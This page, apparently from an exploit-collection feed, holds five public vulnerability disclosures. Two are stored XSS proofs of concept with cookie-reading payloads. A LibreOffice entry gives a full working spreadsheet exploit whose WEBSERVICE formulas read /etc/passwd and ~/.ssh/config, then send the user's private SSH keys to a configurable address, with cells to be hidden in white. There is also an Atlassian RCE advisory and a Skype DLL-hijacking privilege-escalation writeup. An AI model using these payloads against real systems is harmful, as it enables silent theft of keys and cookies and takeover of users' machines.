Quantcast
Channel: Exploit Collector
Viewing all 13315 articles
Browse latest View live

Multi religion Responsive Matrimonial 4.7.2 - Cross-Site Scripting

$
0
0
EDB-ID: 44015
Author: Prasenjit Kanti Paul
Published: 2018-02-10
CVE: CVE-2018-6864
Type: Webapps
Platform: PHP
Vulnerable App: N/A

 # Exploit Title: Multi religion Responsive Matrimonial - 4.7.2 - Stored XSS 
# Date: 07.02.2018
# Vendor Homepage: https://www.phpscriptsmall.com/
# Software Link:
https://www.phpscriptsmall.com/product/multireligion-responsive-matrimonial/
# Category: Web Application
# Exploit Author: Prasenjit Kanti Paul
# Web: http://hack2rule.wordpress.com/
# Version: 4.7.2
# Tested on: Linux Mint
# CVE: CVE-2018-6864
##################################################################################################################

*Proof of Concept*

1. Login into site
2. Goto "Edit Profile"
3. Put "<script>alert("PKP")</script>" in any field
4. You will be having a popup "PKP"


Multi Language Olx Clone Script - Cross-Site Scripting

$
0
0
EDB-ID: 44016
Author: Varun Bagaria
Published: 2018-02-10
CVE: CVE-2018-6845
Type: Webapps
Platform: PHP
Vulnerable App: N/A

 # Exploit Title: Multi Language Olx Clone Script - Stored XSS 
# Date: 08.02.2018
# Exploit Author: Varun Bagaria
# Web:
# Vendor Homepage: https://www.phpscriptsmall.com/
# Software Link: https://www.phpscriptsmall.com/product/olx-clone/
# Category: Web Application
# Version:2.0.6
# Tested on: Windows 7
# CVE: NA
#######################################################################################

Proof of Concept
=================
URL: https://www.phpscriptsmall.com/product/olx-clone/
Attack Vector : Comment
Payload : <svg/onload=alert(document.cookie)>

Reproduction Steps:
------------------------------
1.Access the above URL
2. Click on "User Demo:
3. Application will be redirected to http://under24usd.com/demo/classi/
4. Goto "Register" and Create a New User
5. Now Login into the application and Click on any :Listing"
6. Click on "Comment" -> "Leave Comment" and inject <svg/onload=alert(document.cookie)>
7. Persistent XSS will be executed.

LibreOffice Arbitrary File Disclosure

$
0
0

LibreOffice suffers from a remote arbitrary file disclosure vulnerability.


MD5 | 56b6160adf079983cc0e6c94ee97b3a9

Hello,

After I know that the reported vulnerability was already known to developers,
but they did not include trivial fix to 6.0, but (as the developer said, I did
not check it byself) include to 5.4.5 (it means this is a silent fixed
vulnerability) with a month lag between updates I think it's more correct to
full disclose it.

PoC: https://github.com/jollheef/libreoffice-remote-arbitrary-file-disclosure

# Vulnerability description

## First part

LibreOffice supports COM.MICROSOFT.WEBSERVICE function:

https://support.office.com/en-us/article/webservice-function-0546a35a-ecc6-4739-aed7-c0b7ce1562c4

The function is required to obtain data by URL, usually used as:

=FILTERXML(WEBSERVICE("http://api.openweathermap.org/data/2.5/forecast?q=Copenhagen,dk&mode=xml&units=metric");"number(/weatherdata/forecast/time[2]/temperature/@value)")

In original:

For protocols that are not supported, such as ftp: // or file: //, WEBSERVICE returns the #VALUE! error value.

In LibreOffice, these restrictions are not implemented.

## Second part

By default the cells are not updated, but if you specify the cell type like ~error, then the cell will be updated when you open document.

# Exploitation

To read file you need just:

=WEBSERVICE("/etc/passwd")

This function can also be used to send a file:

=WEBSERVICE("http://localhost:6000/?q="& WEBSERVICE("/etc/passwd"))

For successful operation, you need to send the files of the current user, so you need to retrieve current user home path.

=MID(WEBSERVICE("/proc/self/environ"), FIND("USER=", WEBSERVICE("/proc/self/environ")) + 5, SEARCH(CHAR(0), WEBSERVICE("/proc/self/environ"), FIND("USER=", WEBSERVICE("/proc/self/environ")))-FIND("USER=",

Also you can parse other files too, like a ~/.ssh/config or something like that.

For other than LibreOffice Calc formats you just need embed calc object to other document (I checked it works).

# Impact

It is easy to send any files with keys, passwords and anything else. 100% success rate, absolutely silent, support all modern versions of LibreOffice and may be embedded in almost all formats supporting by LO.



poc.fods:

<?xml version="1.0" encoding="UTF-8"?>

<office:document xmlns:office="urn:oasis:names:tc:opendocument:xmlns:office:1.0" xmlns:style="urn:oasis:names:tc:opendocument:xmlns:style:1.0" xmlns:text="urn:oasis:names:tc:opendocument:xmlns:text:1.0" xmlns:table="urn:oasis:names:tc:opendocument:xmlns:table:1.0" xmlns:draw="urn:oasis:names:tc:opendocument:xmlns:drawing:1.0" xmlns:fo="urn:oasis:names:tc:opendocument:xmlns:xsl-fo-compatible:1.0" xmlns:xlink="http://www.w3.org/1999/xlink" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:meta="urn:oasis:names:tc:opendocument:xmlns:meta:1.0" xmlns:number="urn:oasis:names:tc:opendocument:xmlns:datastyle:1.0" xmlns:presentation="urn:oasis:names:tc:opendocument:xmlns:presentation:1.0" xmlns:svg="urn:oasis:names:tc:opendocument:xmlns:svg-compatible:1.0" xmlns:chart="urn:oasis:names:tc:opendocument:xmlns:chart:1.0" xmlns:dr3d="urn:oasis:names:tc:opendocument:xmlns:dr3d:1.0" xmlns:math="http://www.w3.org/1998/Math/MathML" xmlns:form="urn:oasis:names:tc:opendocument:xmlns:form:1.0" xmlns:script="urn:oasis:names:tc:opendocument:xmlns:script:1.0" xmlns:config="urn:oasis:names:tc:opendocument:xmlns:config:1.0" xmlns:ooo="http://openoffice.org/2004/office" xmlns:ooow="http://openoffice.org/2004/writer" xmlns:oooc="http://openoffice.org/2004/calc" xmlns:dom="http://www.w3.org/2001/xml-events" xmlns:xforms="http://www.w3.org/2002/xforms" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:rpt="http://openoffice.org/2005/report" xmlns:of="urn:oasis:names:tc:opendocument:xmlns:of:1.2" xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns:grddl="http://www.w3.org/2003/g/data-view#" xmlns:tableooo="http://openoffice.org/2009/table" xmlns:drawooo="http://openoffice.org/2010/draw" xmlns:calcext="urn:org:documentfoundation:names:experimental:calc:xmlns:calcext:1.0" xmlns:loext="urn:org:documentfoundation:names:experimental:office:xmlns:loext:1.0" xmlns:field="urn:openoffice:names:experimental:ooo-ms-interop:xmlns:field:1.0" xmlns:formx="urn:openoffice:names:experimental:ooxml-odf-interop:xmlns:form:1.0" xmlns:css3t="http://www.w3.org/TR/css3-text/" office:version="1.2" office:mimetype="application/vnd.oasis.opendocument.spreadsheet">
<office:automatic-styles>
<style:style style:name="co1" style:family="table-column">
<style:table-column-properties fo:break-before="auto" style:column-width="73.3pt"/>
</style:style>
<style:style style:name="co2" style:family="table-column">
<style:table-column-properties fo:break-before="auto" style:column-width="75.66pt"/>
</style:style>
<style:style style:name="co3" style:family="table-column">
<style:table-column-properties fo:break-before="auto" style:column-width="173.14pt"/>
</style:style>
<style:style style:name="co4" style:family="table-column">
<style:table-column-properties fo:break-before="auto" style:column-width="64.01pt"/>
</style:style>
<style:style style:name="co5" style:family="table-column">
<style:table-column-properties fo:break-before="auto" style:column-width="420.94pt"/>
</style:style>
<style:style style:name="co6" style:family="table-column">
<style:table-column-properties fo:break-before="auto" style:column-width="105.19pt"/>
</style:style>
<style:style style:name="ro1" style:family="table-row">
<style:table-row-properties style:row-height="12.81pt" fo:break-before="auto" style:use-optimal-row-height="true"/>
</style:style>
<style:style style:name="ro2" style:family="table-row">
<style:table-row-properties style:row-height="126.74pt" fo:break-before="auto" style:use-optimal-row-height="false"/>
</style:style>
<style:style style:name="ro3" style:family="table-row">
<style:table-row-properties style:row-height="135.81pt" fo:break-before="auto" style:use-optimal-row-height="true"/>
</style:style>
<style:style style:name="ta1" style:family="table" style:master-page-name="Default">
<style:table-properties table:display="true" style:writing-mode="lr-tb"/>
</style:style>
<style:style style:name="ce1" style:family="table-cell" style:parent-style-name="Default" style:data-style-name="N0"/>
<style:style style:name="ce2" style:family="table-cell" style:parent-style-name="Default">
<style:text-properties style:use-window-font-color="true"/>
</style:style>
<style:style style:name="ce5" style:family="table-cell" style:parent-style-name="Default">
<style:table-cell-properties fo:background-color="#f3715a"/>
</style:style>
<style:page-layout style:name="pm1">
<style:page-layout-properties style:writing-mode="lr-tb"/>
<style:header-style>
<style:header-footer-properties fo:min-height="21.26pt" fo:margin-left="0pt" fo:margin-right="0pt" fo:margin-bottom="7.09pt"/>
</style:header-style>
<style:footer-style>
<style:header-footer-properties fo:min-height="21.26pt" fo:margin-left="0pt" fo:margin-right="0pt" fo:margin-top="7.09pt"/>
</style:footer-style>
</style:page-layout>
<style:page-layout style:name="pm2">
<style:page-layout-properties style:writing-mode="lr-tb"/>
<style:header-style>
<style:header-footer-properties fo:min-height="21.26pt" fo:margin-left="0pt" fo:margin-right="0pt" fo:margin-bottom="7.09pt" fo:border="2.49pt solid #000000" fo:padding="0.51pt" fo:background-color="#c0c0c0">
<style:background-image/>
</style:header-footer-properties>
</style:header-style>
<style:footer-style>
<style:header-footer-properties fo:min-height="21.26pt" fo:margin-left="0pt" fo:margin-right="0pt" fo:margin-top="7.09pt" fo:border="2.49pt solid #000000" fo:padding="0.51pt" fo:background-color="#c0c0c0">
<style:background-image/>
</style:header-footer-properties>
</style:footer-style>
</style:page-layout>
</office:automatic-styles>
<office:body>
<office:spreadsheet>
<table:calculation-settings table:automatic-find-labels="false" table:use-regular-expressions="false" table:use-wildcards="true"/>
<table:table table:name="Sheet1" table:style-name="ta1">
<table:table-column table:style-name="co1" table:default-cell-style-name="Default"/>
<table:table-column table:style-name="co2" table:default-cell-style-name="Default"/>
<table:table-column table:style-name="co3" table:default-cell-style-name="Default"/>
<table:table-column table:style-name="co4" table:number-columns-repeated="2" table:default-cell-style-name="Default"/>
<table:table-column table:style-name="co5" table:default-cell-style-name="Default"/>
<table:table-column table:style-name="co4" table:number-columns-repeated="2" table:default-cell-style-name="Default"/>
<table:table-column table:style-name="co6" table:default-cell-style-name="Default"/>
<table:table-row table:style-name="ro1">
<table:table-cell office:value-type="string" calcext:value-type="string">
<text:p>Proof-of-concept: send private keys (this cells of course must be moved and set color to white)</text:p>
</table:table-cell>
<table:table-cell table:number-columns-repeated="8"/>
</table:table-row>
<table:table-row table:style-name="ro1">
<table:table-cell table:number-columns-repeated="9"/>
</table:table-row>
<table:table-row table:style-name="ro2">
<table:table-cell/>
<table:table-cell office:value-type="string" calcext:value-type="string">
<text:p>Current user:</text:p>
</table:table-cell>
<table:table-cell table:style-name="ce1" table:formula="of:="/home/"& MID(COM.MICROSOFT.WEBSERVICE("/proc/self/environ"); FIND("USER="; COM.MICROSOFT.WEBSERVICE("/proc/self/environ")) + LEN("USER="); SEARCH(CHAR(0); COM.MICROSOFT.WEBSERVICE("/proc/self/environ"); FIND("USER="; COM.MICROSOFT.WEBSERVICE("/proc/self/environ")))-FIND("USER="; COM.MICROSOFT.WEBSERVICE("/proc/self/environ"))-LEN("USER=")) & "/"" office:value-type="string" office:string-value="" calcext:value-type="error">
<text:p>#VALUE!</text:p>
</table:table-cell>
<table:table-cell table:style-name="ce2" table:formula="of:=FIND(":"; [.F3]; [.E3])" office:value-type="float" office:value="689" calcext:value-type="float">
<text:p>689</text:p>
</table:table-cell>
<table:table-cell table:style-name="ce2" table:formula="of:=FIND("/home"; [.F3]; FIND(":x:1000:1000:"; [.F3]))" office:value-type="float" office:value="676" calcext:value-type="float">
<text:p>676</text:p>
</table:table-cell>
<table:table-cell table:style-name="ce2" table:formula="of:=COM.MICROSOFT.WEBSERVICE("/etc/passwd")" office:value-type="string" office:string-value="" calcext:value-type="string">
<text:p>#VALUE!</text:p>
</table:table-cell>
<table:table-cell/>
<table:table-cell table:style-name="ce5" office:value-type="string" calcext:value-type="string"><text:p>(change this)</text:p><text:p>Address:</text:p>
</table:table-cell>
<table:table-cell table:style-name="ce5" office:value-type="string" calcext:value-type="string">
<text:p>http://localhost:8080</text:p>
</table:table-cell>
</table:table-row>
<table:table-row table:style-name="ro3">
<table:table-cell/>
<table:table-cell office:value-type="string" calcext:value-type="string">
<text:p>List of private keys:</text:p>
</table:table-cell>
<table:table-cell table:style-name="ce1"/>
<table:table-cell table:number-columns-repeated="2"/>
<table:table-cell table:formula="of:=SUBSTITUTE(COM.MICROSOFT.WEBSERVICE([.C3] & "/.ssh/config"); "~"; [.C3])" office:value-type="string" office:string-value="" calcext:value-type="error">
<text:p>#VALUE!</text:p>
</table:table-cell>
<table:table-cell/>
<table:table-cell office:value-type="string" calcext:value-type="string">
<text:p>Send:</text:p>
</table:table-cell>
<table:table-cell/>
</table:table-row>
<table:table-row table:style-name="ro1">
<table:table-cell/>
<table:table-cell office:value-type="string" calcext:value-type="string">
<text:p>0 (default path)</text:p>
</table:table-cell>
<table:table-cell table:formula="of:=[.C3] & "/.ssh/id_rsa"" office:value-type="string" office:string-value="" calcext:value-type="string">
<text:p></text:p>
</table:table-cell>
<table:table-cell table:number-columns-repeated="5"/>
<table:table-cell table:formula="of:=COM.MICROSOFT.WEBSERVICE([.$I$3] & "/?q="& COM.MICROSOFT.WEBSERVICE([.C5]))" office:value-type="string" office:string-value="" calcext:value-type="error">
<text:p>#VALUE!</text:p>
</table:table-cell>
</table:table-row>
<table:table-row table:style-name="ro1">
<table:table-cell/>
<table:table-cell office:value-type="float" office:value="1" calcext:value-type="float">
<text:p>1</text:p>
</table:table-cell>
<table:table-cell table:formula="of:=MID([.$F$4]; [.E6]; [.D6]-[.E6])" office:value-type="string" office:string-value="" calcext:value-type="string">
<text:p></text:p>
</table:table-cell>
<table:table-cell table:formula="of:=SEARCH(CHAR(10); [.$F$4]; [.F6])" office:value-type="float" office:value="132" calcext:value-type="float">
<text:p>132</text:p>
</table:table-cell>
<table:table-cell table:formula="of:=[.F6]+LEN("IdentityFile ")" office:value-type="float" office:value="109" calcext:value-type="float">
<text:p>109</text:p>
</table:table-cell>
<table:table-cell table:formula="of:=FIND("IdentityFile "; [.F4])" office:value-type="float" office:value="96" calcext:value-type="float">
<text:p>96</text:p>
</table:table-cell>
<table:table-cell table:number-columns-repeated="2"/>
<table:table-cell table:formula="of:=COM.MICROSOFT.WEBSERVICE([.$I$3] & "/?q="& COM.MICROSOFT.WEBSERVICE([.C6]))" office:value-type="string" office:string-value="" calcext:value-type="error">
<text:p>#VALUE!</text:p>
</table:table-cell>
</table:table-row>
<table:table-row table:style-name="ro1">
<table:table-cell/>
<table:table-cell office:value-type="float" office:value="2" calcext:value-type="float">
<text:p>2</text:p>
</table:table-cell>
<table:table-cell table:formula="of:=MID([.$F$4]; [.E7]; [.D7]-[.E7])" office:value-type="string" office:string-value="" calcext:value-type="string">
<text:p></text:p>
</table:table-cell>
<table:table-cell table:formula="of:=SEARCH(CHAR(10); [.$F$4]; [.F7])" office:value-type="float" office:value="297" calcext:value-type="float">
<text:p>297</text:p>
</table:table-cell>
<table:table-cell table:formula="of:=[.F7]+LEN("IdentityFile ")" office:value-type="float" office:value="259" calcext:value-type="float">
<text:p>259</text:p>
</table:table-cell>
<table:table-cell table:formula="of:=FIND("IdentityFile "; [.$F$4]; SUM([.F6];1))" office:value-type="float" office:value="246" calcext:value-type="float">
<text:p>246</text:p>
</table:table-cell>
<table:table-cell table:number-columns-repeated="2"/>
<table:table-cell table:formula="of:=COM.MICROSOFT.WEBSERVICE([.$I$3] & "/?q="& COM.MICROSOFT.WEBSERVICE([.C7]))" office:value-type="string" office:string-value="" calcext:value-type="error">
<text:p>#VALUE!</text:p>
</table:table-cell>
</table:table-row>
<table:table-row table:style-name="ro1">
<table:table-cell/>
<table:table-cell office:value-type="float" office:value="3" calcext:value-type="float">
<text:p>3</text:p>
</table:table-cell>
<table:table-cell table:formula="of:=MID([.$F$4]; [.E8]; [.D8]-[.E8])" office:value-type="string" office:string-value="" calcext:value-type="string">
<text:p></text:p>
</table:table-cell>
<table:table-cell table:formula="of:=SEARCH(CHAR(10); [.$F$4]; [.F8])" office:value-type="float" office:value="436" calcext:value-type="float">
<text:p>436</text:p>
</table:table-cell>
<table:table-cell table:formula="of:=[.F8]+LEN("IdentityFile ")" office:value-type="float" office:value="409" calcext:value-type="float">
<text:p>409</text:p>
</table:table-cell>
<table:table-cell table:formula="of:=FIND("IdentityFile "; [.$F$4]; SUM([.F7];1))" office:value-type="float" office:value="396" calcext:value-type="float">
<text:p>396</text:p>
</table:table-cell>
<table:table-cell table:number-columns-repeated="2"/>
<table:table-cell table:formula="of:=COM.MICROSOFT.WEBSERVICE([.$I$3] & "/?q="& COM.MICROSOFT.WEBSERVICE([.C8]))" office:value-type="string" office:string-value="" calcext:value-type="error">
<text:p>#VALUE!</text:p>
</table:table-cell>
</table:table-row>
<table:table-row table:style-name="ro1">
<table:table-cell/>
<table:table-cell office:value-type="float" office:value="4" calcext:value-type="float">
<text:p>4</text:p>
</table:table-cell>
<table:table-cell table:formula="of:=MID([.$F$4]; [.E9]; [.D9]-[.E9])" office:value-type="string" office:string-value="" calcext:value-type="string">
<text:p></text:p>
</table:table-cell>
<table:table-cell table:formula="of:=SEARCH(CHAR(10); [.$F$4]; [.F9])" office:value-type="float" office:value="586" calcext:value-type="float">
<text:p>586</text:p>
</table:table-cell>
<table:table-cell table:formula="of:=[.F9]+LEN("IdentityFile ")" office:value-type="float" office:value="563" calcext:value-type="float">
<text:p>563</text:p>
</table:table-cell>
<table:table-cell table:formula="of:=FIND("IdentityFile "; [.$F$4]; SUM([.F8];1))" office:value-type="float" office:value="550" calcext:value-type="float">
<text:p>550</text:p>
</table:table-cell>
<table:table-cell table:number-columns-repeated="2"/>
<table:table-cell table:formula="of:=COM.MICROSOFT.WEBSERVICE([.$I$3] & "/?q="& COM.MICROSOFT.WEBSERVICE([.C9]))" office:value-type="string" office:string-value="" calcext:value-type="error">
<text:p>#VALUE!</text:p>
</table:table-cell>
</table:table-row>
<table:table-row table:style-name="ro1">
<table:table-cell/>
<table:table-cell office:value-type="float" office:value="5" calcext:value-type="float">
<text:p>5</text:p>
</table:table-cell>
<table:table-cell table:formula="of:=MID([.$F$4]; [.E10]; [.D10]-[.E10])" office:value-type="string" office:string-value="" calcext:value-type="string">
<text:p></text:p>
</table:table-cell>
<table:table-cell table:formula="of:=SEARCH(CHAR(10); [.$F$4]; [.F10])" office:value-type="float" office:value="718" calcext:value-type="float">
<text:p>718</text:p>
</table:table-cell>
<table:table-cell table:formula="of:=[.F10]+LEN("IdentityFile ")" office:value-type="float" office:value="695" calcext:value-type="float">
<text:p>695</text:p>
</table:table-cell>
<table:table-cell table:formula="of:=FIND("IdentityFile "; [.$F$4]; SUM([.F9];1))" office:value-type="float" office:value="682" calcext:value-type="float">
<text:p>682</text:p>
</table:table-cell>
<table:table-cell table:number-columns-repeated="2"/>
<table:table-cell table:formula="of:=COM.MICROSOFT.WEBSERVICE([.$I$3] & "/?q="& COM.MICROSOFT.WEBSERVICE([.C10]))" office:value-type="string" office:string-value="" calcext:value-type="error">
<text:p>#VALUE!</text:p>
</table:table-cell>
</table:table-row>
<table:table-row table:style-name="ro1">
<table:table-cell/>
<table:table-cell office:value-type="float" office:value="6" calcext:value-type="float">
<text:p>6</text:p>
</table:table-cell>
<table:table-cell table:formula="of:=MID([.$F$4]; [.E11]; [.D11]-[.E11])" office:value-type="string" office:string-value="" calcext:value-type="string">
<text:p></text:p>
</table:table-cell>
<table:table-cell table:formula="of:=SEARCH(CHAR(10); [.$F$4]; [.F11])" office:value-type="float" office:value="882" calcext:value-type="float">
<text:p>882</text:p>
</table:table-cell>
<table:table-cell table:formula="of:=[.F11]+LEN("IdentityFile ")" office:value-type="float" office:value="860" calcext:value-type="float">
<text:p>860</text:p>
</table:table-cell>
<table:table-cell table:formula="of:=FIND("IdentityFile "; [.$F$4]; SUM([.F10];1))" office:value-type="float" office:value="847" calcext:value-type="float">
<text:p>847</text:p>
</table:table-cell>
<table:table-cell table:number-columns-repeated="2"/>
<table:table-cell table:formula="of:=COM.MICROSOFT.WEBSERVICE([.$I$3] & "/?q="& COM.MICROSOFT.WEBSERVICE([.C11]))" office:value-type="string" office:string-value="" calcext:value-type="error">
<text:p>#VALUE!</text:p>
</table:table-cell>
</table:table-row>
<table:table-row table:style-name="ro1">
<table:table-cell/>
<table:table-cell office:value-type="float" office:value="7" calcext:value-type="float">
<text:p>7</text:p>
</table:table-cell>
<table:table-cell table:formula="of:=MID([.$F$4]; [.E12]; [.D12]-[.E12])" office:value-type="string" office:string-value="" calcext:value-type="string">
<text:p></text:p>
</table:table-cell>
<table:table-cell table:formula="of:=SEARCH(CHAR(10); [.$F$4]; [.F12])" office:value-type="float" office:value="1267" calcext:value-type="float">
<text:p>1267</text:p>
</table:table-cell>
<table:table-cell table:formula="of:=[.F12]+LEN("IdentityFile ")" office:value-type="float" office:value="1240" calcext:value-type="float">
<text:p>1240</text:p>
</table:table-cell>
<table:table-cell table:formula="of:=FIND("IdentityFile "; [.$F$4]; SUM([.F11];1))" office:value-type="float" office:value="1227" calcext:value-type="float">
<text:p>1227</text:p>
</table:table-cell>
<table:table-cell table:number-columns-repeated="2"/>
<table:table-cell table:formula="of:=COM.MICROSOFT.WEBSERVICE([.$I$3] & "/?q="& COM.MICROSOFT.WEBSERVICE([.C12]))" office:value-type="string" office:string-value="" calcext:value-type="error">
<text:p>#VALUE!</text:p>
</table:table-cell>
</table:table-row>
<table:table-row table:style-name="ro1">
<table:table-cell/>
<table:table-cell office:value-type="float" office:value="8" calcext:value-type="float">
<text:p>8</text:p>
</table:table-cell>
<table:table-cell table:formula="of:=MID([.$F$4]; [.E13]; [.D13]-[.E13])" office:value-type="string" office:string-value="" calcext:value-type="string">
<text:p></text:p>
</table:table-cell>
<table:table-cell table:formula="of:=SEARCH(CHAR(10); [.$F$4]; [.F13])" office:value-type="float" office:value="1408" calcext:value-type="float">
<text:p>1408</text:p>
</table:table-cell>
<table:table-cell table:formula="of:=[.F13]+LEN("IdentityFile ")" office:value-type="float" office:value="1383" calcext:value-type="float">
<text:p>1383</text:p>
</table:table-cell>
<table:table-cell table:formula="of:=FIND("IdentityFile "; [.$F$4]; SUM([.F12];1))" office:value-type="float" office:value="1370" calcext:value-type="float">
<text:p>1370</text:p>
</table:table-cell>
<table:table-cell table:number-columns-repeated="2"/>
<table:table-cell table:formula="of:=COM.MICROSOFT.WEBSERVICE([.$I$3] & "/?q="& COM.MICROSOFT.WEBSERVICE([.C13]))" office:value-type="string" office:string-value="" calcext:value-type="error">
<text:p>#VALUE!</text:p>
</table:table-cell>
</table:table-row>
<table:table-row table:style-name="ro1">
<table:table-cell/>
<table:table-cell office:value-type="float" office:value="9" calcext:value-type="float">
<text:p>9</text:p>
</table:table-cell>
<table:table-cell table:formula="of:=MID([.$F$4]; [.E14]; [.D14]-[.E14])" office:value-type="string" office:string-value="" calcext:value-type="string">
<text:p></text:p>
</table:table-cell>
<table:table-cell table:formula="of:=SEARCH(CHAR(10); [.$F$4]; [.F14])" office:value-type="float" office:value="0" calcext:value-type="error">
<text:p>#VALUE!</text:p>
</table:table-cell>
<table:table-cell table:formula="of:=[.F14]+LEN("IdentityFile ")" office:value-type="float" office:value="0" calcext:value-type="error">
<text:p>#VALUE!</text:p>
</table:table-cell>
<table:table-cell table:formula="of:=FIND("IdentityFile "; [.$F$4]; SUM([.F13];1))" office:value-type="float" office:value="0" calcext:value-type="error">
<text:p>#VALUE!</text:p>
</table:table-cell>
<table:table-cell table:number-columns-repeated="2"/>
<table:table-cell table:formula="of:=COM.MICROSOFT.WEBSERVICE([.$I$3] & "/?q="& COM.MICROSOFT.WEBSERVICE([.C14]))" office:value-type="string" office:string-value="" calcext:value-type="error">
<text:p>#VALUE!</text:p>
</table:table-cell>
</table:table-row>
</table:table>
<table:named-expressions/>
</office:spreadsheet>
</office:body>
</office:document>



Fisheye / Crucible Remote Code Execution

$
0
0

Fisheye and Crucible suffer from a remote code execution vulnerability through OGNL double evaluation. Versions of Fisheye and Crucible before 4.4.5 (the fixed version for 4.4.x) and from 4.5.0 before 4.5.2 (the fixed version for 4.5.x) are affected by this vulnerability.


MD5 | 556b833c5e261bcfc86a761471ef339a

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512

This email refers to the advisory found at
https://confluence.atlassian.com/x/iPQyO and
https://confluence.atlassian.com/x/h-QyO .


CVE ID:

* CVE-2017-16861.


Product: Fisheye and Crucible.

Affected Fisheye and Crucible product versions:

version < 4.4.5
4.5.0 <= version < 4.5.2


Fixed Fisheye and Crucible product versions:

* for 4.5.x, Fisheye 4.5.2 has been released with a fix for this issue.
* for 4.5.x, Crucible 4.5.2 has been released with a fix for this issue.
* for 4.4.x, Fisheye 4.4.5 has been released with a fix for this issue.
* for 4.4.x, Crucible 4.4.5 has been released with a fix for this issue.


Summary:
This advisory discloses a critical severity security vulnerability in Fisheye
and Crucible.
Versions of Fisheye and Crucible before 4.4.5 (the fixed version for 4.4.x)
and from 4.5.0 before 4.5.2 (the fixed version for 4.5.x) are affected by this
vulnerability.



Customers who have upgraded their Fisheye and Crucible installations to
version 4.4.5 or 4.5.2 are not affected.

Customers who have downloaded and installed Fisheye or Crucible less than 4.4.5
(the fixed version for 4.4.x) or who have downloaded and installed Fisheye or
Crucible >= 4.5.0 but
less than 4.5.2 (the fixed version for 4.5.x) please upgrade your Fisheye and
Crucible installations immediately to fix this vulnerability.


Remote code execution through OGNL double evaluation (CVE-2017-16861)

Severity:
Atlassian rates the severity level of this vulnerability as critical, according
to the scale published in our Atlassian severity levels. The scale allows us to
rank the severity as critical, high, moderate or low.
This is our assessment and you should evaluate its applicability to your own IT
environment.


Description:

It was possible for double OGNL evaluation in certain redirect action and in
WebWork URL and Anchor tags in JSP files to occur. An attacker who can access
the web interface of Fisheye or Crucible or who hosts a website that a user
who can access the web interface of Fisheye or Crucible visits, is able to
exploit this vulnerability to execute Java code of their choice on systems
that run a vulnerable version of Fisheye or Crucible.
Versions of Fisheye and Crucible before 4.4.5 (the fixed version for 4.4.x)
and from 4.5.0 before 4.5.2 (the fixed version for 4.5.x) are affected by
this vulnerability.
This issue can be tracked at: https://jira.atlassian.com/browse/FE-6991 .


Fix:

To address this issue, we've released the following versions containing a fix:

* Fisheye version 4.5.2
* Fisheye version 4.4.5
* Crucible version 4.5.2
* Crucible version 4.4.5


Remediation:

Upgrade Fisheye and Crucible to version 4.5.2 or higher.

The vulnerabilities and fix versions are described above. If affected, you
should upgrade to the latest version immediately.

If you are running Fisheye or Crucible 4.4.x and cannot upgrade to 4.5.2,
upgrade to version 4.4.5.


For a full description of the latest version of Fisheye, see
the release notes found at
https://confluence.atlassian.com/display/FISHEYE/Fisheye+releases. You can
download the latest version of Fisheye from the download centre found at
https://www.atlassian.com/software/fisheye/download.


For a full description of the latest version of Crucible, see
the release notes found at
https://confluence.atlassian.com/display/CRUCIBLE/Crucible+releases. You can
download the latest version of Crucible from the download centre found at
https://www.atlassian.com/software/crucible/download.


Support:
If you have questions or concerns regarding this advisory, please raise a
support request at https://support.atlassian.com/.
-----BEGIN PGP SIGNATURE-----

iQI0BAEBCgAeBQJafPV0FxxzZWN1cml0eUBhdGxhc3NpYW4uY29tAAoJECQgl6K8
UnagpA0P/3TVLzwWiv7wwRqnTyhkR9UucS9rz0szFH567oEWISGCXXN6uNLqzMKS
v9Eiw3xKIfeuk1kHy+QgamdVMugd4uUyUl1efDNURuAUDvbbA8BSJmQnElRU0bZ1
yLzdp6WYvc5gzV2ZvpjDi8FF9nXdQXoZWGFUzzRr9NNFmEo2KRJUkoxQNfiRnwX6
KV1koTWW7HeFVmwPNfPUL04CFPpZWrmZIwJTCnv5wojyzKW7tsegm8dIQsDVNplH
1r+KX/kpTYF2aVVEBDoqbKzKLVyYmjrKuMFw+O7CWncObYrM1y7317lVbG6/BylM
q715mR0tV4xJV8xgliRc1qd/hydcnc8DhhlV1cm1eNORX74/nLeOuWG85t8vu/Cq
5jOLnsbKaSc35iwBLNKrVEbM7mq0zzL4e7sbPqKfWmzoKoU6wwBffcbQI6AAP/pg
qtD3giHbxOJSiq9f4GczGxvnr0F2hZOhRbAg9ZzzdhvA9wZx/Bb3q1JDgG5U9vuw
puIes4ydBByoB/slTbPvg6DAutZLQ48iJITPfkzBGdXJ9ayMNJ4qSV5rV3T/94pe
VMLZ7K7RbqYFLoEXtbTPY7E5SHGLuWhcTOEJ4c/Pl7RJoj1zK8q0sagF/XB51KpR
FdA3TegZD3PrAvy970UGymrUdqoW3D6GEvFO0IXOXAT9f7Cgx/pZ
=dOdm
-----END PGP SIGNATURE-----

Microsoft Skype DLL Hijacking

$
0
0

Microsoft's Skype home-grown updater suffers from a dll hijacking vulnerability.


MD5 | e378e1abd2417b24f1e060626ed42449

Hi @ll,

since about two or three years now, Microsoft offers Skype as
optional update on Windows/Microsoft Update.

JFTR: for Microsoft's euphemistic use of "update" see
<http://seclists.org/fulldisclosure/2018/Feb/17>

Once installed, Skype uses its own proprietary update mechanism
instead of Windows/Microsoft Update: Skype periodically runs
"%ProgramFiles%\Skype\Updater\Updater.exe"
under the SYSTEM account.
When an update is available, Updater.exe copies/extracts another
executable as "%SystemRoot%\Temp\SKY<abcd>.tmp" and executes it
using the command line
"%SystemRoot%\Temp\SKY<abcd>.tmp" /QUIET

This executable is vulnerable to DLL hijacking: it loads at least
UXTheme.dll from its application directory %SystemRoot%\Temp\
instead from Windows' system directory.

An unprivileged (local) user who is able to place UXTheme.dll or
any of the other DLLs loaded by the vulnerable executable in
%SystemRoot%\Temp\ gains escalation of privilege to the SYSTEM
account.


The attack vector is well-known and well-documented as CAPEC-471:
<https://capec.mitre.org/data/definitions/471.html>

Microsoft published plenty advice/guidance to avoid this beginner's
error: <https://msdn.microsoft.com/en-us/library/ff919712.aspx>,
<https://technet.microsoft.com/en-us/library/2269637.aspx>,
<https://support.microsoft.com/en-us/help/2389418/secure-loading-of-libraries-to-prevent-dll-preloading-attacks>
and
<https://blogs.technet.microsoft.com/srd/2014/05/13/load-library-safely/>
... which their own developers and their QA but seem to ignore!


See <https://bugs.chromium.org/p/project-zero/issues/detail?id=440>
for the same vulnerability in another Microsoft product!


